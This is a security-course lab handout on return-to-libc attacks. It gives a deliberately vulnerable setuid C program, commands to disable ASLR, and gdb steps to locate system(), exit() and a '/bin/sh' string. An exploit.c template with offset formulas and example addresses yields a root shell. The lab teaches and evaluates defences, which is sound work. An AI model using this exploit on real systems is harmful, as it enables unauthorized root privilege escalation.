Return-to-libc Attack Lab

Table of Contents

The learning objective of this lab is for students to gain the first-hand experience on an interesting variant of buffer-overflow attack; this attack can bypass an existing protection scheme currently implemented in major Linux operating systems. A common way to exploit a buffer-overflow vulnerability is to overflow the buffer with a malicious shellcode, and then cause the vulnerable program to jump to the shellcode that is stored in the stack. To prevent these types of attacks, some operating systems allow system administrators to make stacks non-executable; therefore, jumping to the shellcode will cause the program to fail.

Unfortunately, the above protection scheme is not fool-proof; there exists a variant of buffer-overflow attack called the return-to-libc attack, which does not need an executable stack; it does not even use shell code. Instead, it causes the vulnerable program to jump to some existing code, such as the system() function in the libc library, which is already loaded into the memory.

In this lab, students are given a program with a buffer-overflow vulnerability; their task is to develop a return-to-libc attack to exploit the vulnerability and finally to gain the root privilege. In addition to the attacks, students will be guided to walk through several protection schemes that have been implemented in Ubuntu to counter against the buffer-overflow attacks. Students need to evaluate whether the schemes work or not and explain why.

Lab Tasks

Task 1: Address Space Randomization

Ubuntu and several other Linux-based systems uses address space randomization to randomize the starting address of heap and stack. This makes guessing the exact addresses difficult; guessing addresses is one of the critical steps of buffer-overflow attacks. In this lab, we disable these features using the following commands:

sudo sysctl -w kernel.randomize_va_space=0
Make sure in the beginning your /bin/sh is redirecting to zsh like in buffer overflow.

Provide a screenshot of your observations.

retlib.c (The Vulnerable Program)

```
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(FILE *badfile)
{
    char buffer[12];
        /* The following statement has a buffer overflow
problem */
      fread(buffer, sizeof(char), 40, badfile);
       return 1;
}
int main(int argc, char **argv)
{
    FILE *badfile;
    badfile = fopen("badfile", "r");
    bof(badfile);
    printf("Returned Properly\n");
    fclose(badfile);
    return 1;
}
```

Commands:

```
$ touch badfile
$ gcc -fno-stack-protector -z noexecstack -o retlib retlib.c
$ sudo chown root retlib
$ sudo chmod 4755 retlib
  $ ls -l retlib
```

Provide a screenshot of your observations.

Task 2: Finding out the address of the lib function

To find out the address of any libc function, you can use the following gdb commands

Commands:

```
$ gcc -fno-stack-protector -z noexecstack  -g -o retlib_gdb retlib.c
$ ls -l retlib_gdb
$ gdb retlib_gdb

$ b bof
$ r
$ p system
$ p exit
```

From the gdb commands, we can find out the address for the system() function , and the address for the exit() function . The actual addresses in your system might be different. Please take note of these addresses.

Provide a screenshot of your observations.

Task 3 : Putting the shell string in the memory

One of the challenges in this lab is to put the string "/bin/sh" into the memory, and get its address. This can be achieved using environment variables. When a C program is executed, it inherits all the environment variables from the shell that executes it. The environment variable SHELL points directly to /bin/bash and is needed by other programs, so we introduce a new shell variable MYSHELL and make it point to zsh

```
$ export MYSHELL=/bin/sh
$ env | grep MYSHELL
```

We will use the address of this variable as an argument to system() call. The location of this variable in the memory can be found out easily using the following program prnenv.c

```
#include <stdio.h>
#include <stdlib.h>
void main(){
char* shell = getenv("MYSHELL");
if (shell)
printf("%x\n", (unsigned int)shell);
}
```

$ gcc prnenv.c -o prnenv
$ ./prnenv

Please note down this address.

Provide a screenshot of your observations.

Exploiting the vulnerability:

Program to create the contents for badfile.

Exploit.c

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buf[40];
FILE *badfile;
badfile = fopen("./badfile", "w");
/* You need to decide the addresses and
the values for X, Y, Z. The order of the following three
statements does not imply the order of X, Y, Z. Actually, we
intentionally scrambled the order. */
  *(long *) &buf[X] = some address ;   //  "/bin/sh"
  *(long *) &buf[Y] = some address ;   //  system()
  *(long *) &buf[Z] = some address ;   //  exit()
  fwrite(buf, sizeof(buf), 1, badfile);
  fclose(badfile);
}
```

You need to figure out the values for those addresses, as well as to find out where to store those addresses. If you incorrectly calculate the locations, your attack might not work.

Commands:

$ touch badfile

$ gdb retlib_gdb

$ b bof

$ r

$ p &buffer

$ p $ebp

$ p ($ebp - &buffer)

Value of X = (ebp value - buffer value) + 12
Value of Y = (ebp value - buffer value) + 4
Value of Z = (ebp value - buffer value) + 8

Commands:

$ gcc exploit.c -o exploit
$ ./exploit
$ ls -l badfile
$ ./retlib
# root privilege is the output

After you finish the above program, compile and run it; this will generate the contents for "badfile". Run the vulnerable program retlib. If your exploit is implemented correctly, when the function bof returns, it will return to the system() libc function, and execute system("/bin/sh"). If the vulnerable program is running with the root privilege, you can get the root shell at this point.

It should be noted that the exit() function is not very necessary for this attack; however, without this function, when system() returns, the program might crash, causing suspicions.

Provide a screenshot of your observations.

Questions.
Please describe how you decide the values for X, Y and Z.

For example:

```
*(long *) &buf[24] = 0xb7e42da0 ;    //  system()
*(long *) &buf[28] = 0xb7e369d0 ;    //  exit()
*(long *) &buf[32] = 0xbffffe1c ;    //  "/bin/sh"
```

Provide a screenshot of your observations.

Now in exploit.c program (without exit() in the program)

For example:

```
*(long *) &buf[24] = 0xb7e42da0 ;    //  system()
*(long *) &buf[32] = 0xbffffe1c ;    //  "/bin/sh"
```

Commands:

$ gcc exploit.c -o exploit

$ ./exploit

$ ./retlib

root privilege is the output.

Segmentation fault

Provide a screenshot of your observations.

Task 4: Changing length of the file name

The Vulnerable program is compiled again as setuid root, but time using a different file name newretlib instead of retlib.

The attack no longer works with the new executable file but it works with an old executable file ,using the same content of the badfile. This is because the length of file name has changed the address of the environment variable(MYSHELL) in the process address space. The error message also makes it evident that the address has been changed from myshell, as the system() was now looking for command " h" instead of "/bin/sh" .

We observe that changing the filename does affect the relative location of the myshell environment variable in the address space this is the reason that this attack wont work after changing filename of the setuid root program

$ gcc -fno-stack-protector -z noexecstack -o newretlib retlib.c

$ sudo chown root newretlib

$ sudo chmod 4755 newretlib

$ ls -l newretlib

$ ./newretlib

Command not found: h

Segmentation fault

Provide a screenshot of your observations.

As we can observe from the screen shot the attack no longer works with the new executable file but still works with the old executable file, using the same content of badfile.

$ gcc -fno-stack-protector -z noexecstack -g -o newretlib_gdb retlib.c
$ ls -l newretlib_gdb
$ ls -l retlib_gdb

Provide a screenshot of your observations.

We should use gdb to debug the first program(retlib_gdb)

$ gdb retlib_gdb
$ b bof
$ r
$ x/s * ((char **)environ)
$ x/100s 0xbfffefce

Provide a screenshot of your observations.

We should use gdb to debug the second debug program(newretlib_gdb)
$ gdb newretlib_gdb
$ b bof
$ r
$ x/100s 0xbfffefc7

Provide a screenshot of your observations.

After your attack is successful, change the file name of retlib to a different name, making sure that the length of the file names are different. For example, you can change it to newretlib. Repeat the attack (without changing the content of badfile). Is your attack successful or not? If it does not succeed, explain why

Task 5: Address Randomization

In this task we will turn on randomization and repeat the attack from task 1 in the following randomization is set to 2 to enable address randomization. In this task, let us turn on Ubuntu's address randomization protection. We run the same attack developed in Task 1. Can you get a shell? If not, what is the problem? How does the address randomization make your return-to-libc attack difficult? You should describe your observation and explanation in your lab report. You can use the following instructions to turn on the address randomization:

$ sysctl kernel.randomize_va_space

$ sysctl -w kernel.randomize_va_space=2

$ ls -l retlib badfile exploit

$ ./retlib

Provide a screenshot of your observations.

$ gdb retlib_gdb

$ b bof

$ r

$ show disable-randomization
$ p system

Provide a screenshot of your observations.

$ gdb retlib_gdb

$ b main

$ r

$ show disable-randomization

$ p system

Provide a screenshot of your observations.

Submission:

You need to submit a detailed lab report to describe what you have done and what you have observed, including screenshots and code snippets. You also need to provide explanations to the observations that are interesting or surprising. You are encouraged to pursue further investigation.